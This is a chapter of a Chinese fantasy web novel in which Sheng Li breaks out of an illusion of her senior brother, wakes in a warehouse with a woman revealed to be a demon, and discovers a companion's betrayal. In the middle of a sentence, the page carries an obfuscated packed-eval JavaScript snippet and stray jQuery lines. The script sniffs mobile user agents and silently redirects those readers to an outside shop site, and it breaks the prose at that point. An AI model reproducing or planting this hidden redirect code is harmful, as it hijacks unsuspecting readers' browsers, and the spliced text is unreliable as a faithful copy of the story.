文趣网 > 都市小说 > 她为什么对我这么好? > 65. 第65章
    盛礼不知道自己是什么时候失去意识的。

    再次睁开眼时,她正躺在自己的卧房里。

    不是盛家的卧室,而是青云剑宗里,她的卧房。

    盛礼猛地坐了起来,混沌的大脑一片嗡鸣。

    霍见辞就是这个时候走进来的。

    男人穿着一身白色劲装,面冠如玉,俊美的脸上找不出一丝瑕疵,眼尾也没有那颗红痣,不像失忆的盛淮雪,更像是原来的霍见辞。

    “怎么呆呆的?还没睡醒?”男人将一盘荷花酥放在桌上,转身把窗子打开。

    清风和天光一同倾泻进来,给男人周身镀上了一层浅淡的白光。

    “再不动的话荷花酥都要不好吃了。”男人长身玉立,温柔自眸中溢出,轻声呼唤:“阿礼,过来呀。”

    盛礼见惯了盛淮雪脸上虚伪标志的笑意、掩藏在温雅眸色中的戾气,以至于她都快忘了,霍见辞其实是一个温柔赤诚的人。

    她鬼使神差的冲着男人走过去,还没走两步,就见男人蹙眉向她走来,再次将她按坐在床上,面色不虞道:“不穿鞋就下地,也不怕着凉?”

    男人嘴里絮絮叨叨,一边嫌弃少女有多么粗心大意,一边细致的替她穿好白靴。

    “你这双靴子,我刷了很久才刷干净。”男人颇有些咬牙切齿:“下次再出去惹事能不能麻烦你穿一双便宜点的、颜色深一点的鞋子呢?”

    这种以前天天都能听到的话,盛礼已经很久没听到了。

    她一眨不眨地看着眼前的男人,眼中盈满水汽,却不敢轻易落下,生怕把人惊跑。

    男人还在吐槽她的鞋子又贵又不耐脏,看起来没有要走的意思,盛礼这才小心翼翼的、十分轻柔地扯了扯男人的衣袖,极轻声极轻声的唤道:“大师兄?”

    “嗯?”那人抬头看她,像是最寻常不过的回应。

    眼泪还是涌了出来,盛礼顾不上擦,声音发哑:“我好想你。”

    少女带着哭腔低声轻语:“很想很想。”

    男人怔了怔,抬手就想帮少女擦拭眼泪,可想到自己的手刚碰过鞋,只好拿出一条干净的丝帕,一点点将少女脸上的水痕擦干,声音中带着说不尽的温柔和思念:“我也是。”

    “别哭了,一会荷花酥真的要不好吃了。”男人牵着盛礼的手走到桌旁,等少女不再哽咽,才示意她尝尝自己新做的点心。

    盛礼的目光都在男人身上,随意抓了一块荷花酥送进嘴里,神情却忽然一僵。

    荷花酥居然没有一点味道。

    盛礼几乎骤然清醒过来。充满妖气的宴会厅,失踪的加慕灵和邵夏月,还有一整个偏厅的女孩们……

    刚才她明明在帮祁听云布置结界,可不知道为什么突然失去了意识,如果说她真的回到了青云剑宗,那为什么这盘荷花酥一点味道都没有?

    盛礼确定,她是进入了某种特意为她而设的幻境。

    “怎么不吃了?是不好吃吗?”

    一旁的男人还在柔声询问,盛礼望着他,眸色复杂又挣扎。

    破除幻境最快的办法就是杀掉幻境中的人,总归都是假的,只是一团雾而已,外面正处在危险之中的才是活生生的人命。

    盛礼扔掉荷花酥,一把抓起桌上的匕首,又快又稳地抵在那人脖颈上。

    男人没有挣扎,甚至没有后退,只是担忧又关切地看着盛礼,仿佛知道她不开心,却又因不知道怎么安慰而十分自责一般。

    甚至连盛礼手中的那把匕首,都是男人帮她削水果用的。

    眼眶再次红起来,盛礼的手都轻轻颤抖起来,她甚至慌不择路的在想,自己现在也是幻境中的人,如果杀了自己,是不是也能走出去?

    她不能再拖了。

    刀锋倒转,盛礼毫不犹豫的将匕首刺向自己,可中途却受到一股强大的阻力。

    男人宽大的手掌握着刀刃,鲜血一滴接一滴的落在地上。

    “阿礼啊,你知道吗。”男人看着少女错愕发红的眼睛,帮她把凌乱的发丝整理好,脸上还是一副温柔又宠溺的表情:“无论什么时候,我都不想你受伤。哪怕这里是假的。”

    匕首捅进了男人的心脏,盛礼听见他极轻声极轻声的说:“哪怕我是假的。”

    一瞬间天旋地转。

    盛礼猛地睁开眼,发现自己正处于一间仓库中。现代感十足的大屏幕、金属箱和邵夏月的脸,提醒着她已经破除幻境回到现实了。

    她找到邵夏月了,这本来是件值得高兴的事,可霍见辞在她面前自尽的场景冲击力实在太大,她不受控制的哭起来,从小声啜泣,到撕心裂肺的放声大哭。她知道都是假的,但失去霍见辞的感受太过真实,以至于她实在难以承受。

    邵夏月就一直坐在旁边等盛礼哭完,没有任何震惊不理解,甚至还十分镇定的将纸巾递给盛礼。

    “……谢谢。”盛礼擦干眼泪,强行梳理思绪让自己保持清醒理智:“邵小姐,这是哪?我们为什么会在这?”

    邵夏月摇摇头:“我也不知道,我刚才去了一趟洗手间,然后就失去了意识,再睁开眼,就在这里了。”

    “我们可能是被绑架了。”十一区和九大世家的家规都明文规定,不可向普通人提及有关灵官、妖人等灵学事件,故而盛礼找了一个说得过去的理由,还强装镇定的安抚:“绑匪可能是看中了你的身家,不用担心,祁听云他们会想办法救我们出去的。”

    邵夏月点点头,而后一脸疑惑:“你刚才怎么哭的那么伤心?”

    “我……我做噩梦了。”

    “是不是梦见了什么很重要的人?所以才哭的?”

    盛礼不知道邵夏月为什么对被绑架的事毫不惊慌,反而揪着她的梦问,但她不想在这个问题上继续下去,强行转移话题:“邵小姐昏迷之前有没有察觉到什么异样?”

    “……我想不起来了。”

    盛礼起身打量了一下四周,此处空间很大,一眼望不到头,只有她和邵夏月所在的这一方空间开着灯,再往远处看去,只能看到黑糊糊的一片,未知又令人恐惧。

    这么大的地方,在她没来之前,只有邵夏月一个人。

    盛礼转身看着邵夏月:“被绑到这种地方,邵小姐看起来并不害怕。”

    “没什么好怕的。”女孩语出惊人:“我很早之前就不想活了,趁这个时候死了也好。”

    “???”

    剑修的热心肠是深入基因的,即便有诸多疑虑,但一听见别人说这种话,盛礼总忍不住进行一番劝慰。

    邵夏月听盛礼说了一箩筐,神色还是很平静:“可我感觉这个世界超没意思的欸。”

    “怎么会呢?你性格好,长得漂亮,家世也好,你的未来简直亮的刺眼啊!”盛礼想了想:“而且你不是正在追求盛淮雪吗?他马上就要答应你了,想想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617865|202028||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是不是挺令人期待的?”

    “他会答应我?”女孩短促的笑了声,问道:“你不是也喜欢盛淮雪吗?”

    “?你怎么会这么想?”

    “不然你刚才为什么会梦见他的脸?”

    盛礼眸色瞬间一凛:“你怎么知道。”

    “别那么紧张。”女孩长得乖巧,笑起来楚楚动人:“我只是听见你在昏迷中喊了他的名字。”

    盛礼怔了下,想到梦中的霍见辞,再想想现实中的盛淮雪,违和感太强,简直不像一个人,盛礼一时难以将他们联系起来。

    “……毕竟是梦,谁也说不准,我也不知道为什么会梦到他。”盛礼顿了一下,又补充道:“不过他对我来说是兄长,是至亲,我对他并没有那个意思,你不要误会。”

    “哦。”

    盛礼怕她会有轻生的想法,柔声劝道:“等我们出去以后,盛淮雪就会答应你的追求啦,所以生活是不是还挺值得期待的?”

    “一个男人而已,还不值得燃起我对生活的热情。”

    盛礼眼睛眨巴眨巴,内心有点错愕。在偏厅里的时候邵夏月明明一副很维护盛淮雪、盛淮雪对她超级重要的样子,怎么现在忽然看淡了?

    好像知道盛礼在想什么,邵夏月笑了笑:“逢场作戏而已,一个花样年华的少女,如果有一个暗恋痴情的对象,才更像活人,不是吗?”

    一种诡异感油然而生,盛礼看见女孩对她歪头笑了笑:“其实相比起盛淮雪,我更喜欢你欸。”

    “???”盛礼有些慌乱道:“我、我有男朋友了……”

    “哈哈哈哈。”邵夏月笑起来,整个人更显生动:“你误会了,我不是那个意思。”

    邵夏月从地上站起来,白色的抹胸晚礼服依然整洁:“我只是想说,男人在我眼里真的不算什么,你最好也不要放太多心思在他们身上,他们很恶心的,盛淮雪也一样。”

    “也不对。”女孩又想了想,严谨道:“我感觉人类都一样。”

    诡异感越来越浓,盛礼不自觉退后了一步。

    “当然了,你除外。从看见你的第一眼,我就喜欢上了你的身体。”

    盛礼瞳孔骤缩,旁边突然传来一声巨响,两人同时看过去,竟是祁听云撞倒几个金属箱突然冒了出来。

    盛礼瞬间跑过去,站在祁听云身侧,目光紧盯着邵夏月,笃定道:“祁听云,她是妖!”

    祁听云久久没有回应,盛礼看向他时,他正敛着眉眼,一脸复杂。

    盛礼错愕:“你知道??”

    邵夏月笑嘻嘻道:“祁少,我只是想让你给我送几个普通女孩过来,我随便选一个比较好的就行了,没想到你这么客气,直接把我最心仪的给我送过来了。”

    “你!你……”

    在桥东村后山并肩作战、在Z饭店一同调查的场景一幕幕闪过,盛礼难以置信地看着祁听云,半天说不出话。

    这是她人生中第一次遭遇背叛。

    邵夏月有些怜惜地看着她:“我说了,男人都很恶心的。”

    “不过祁少,我很好奇,你为什么也会到这里来?”

    祁听云眉头紧紧拧着,盛礼失望震惊到目光如有实质般刺在他身上,令他抬起不头。

    而且他也不知道自己为什么会出现在这里。看来在祁家串通妖人想要算计盛礼的时候,有人站在更后面的地方,也在算计着他。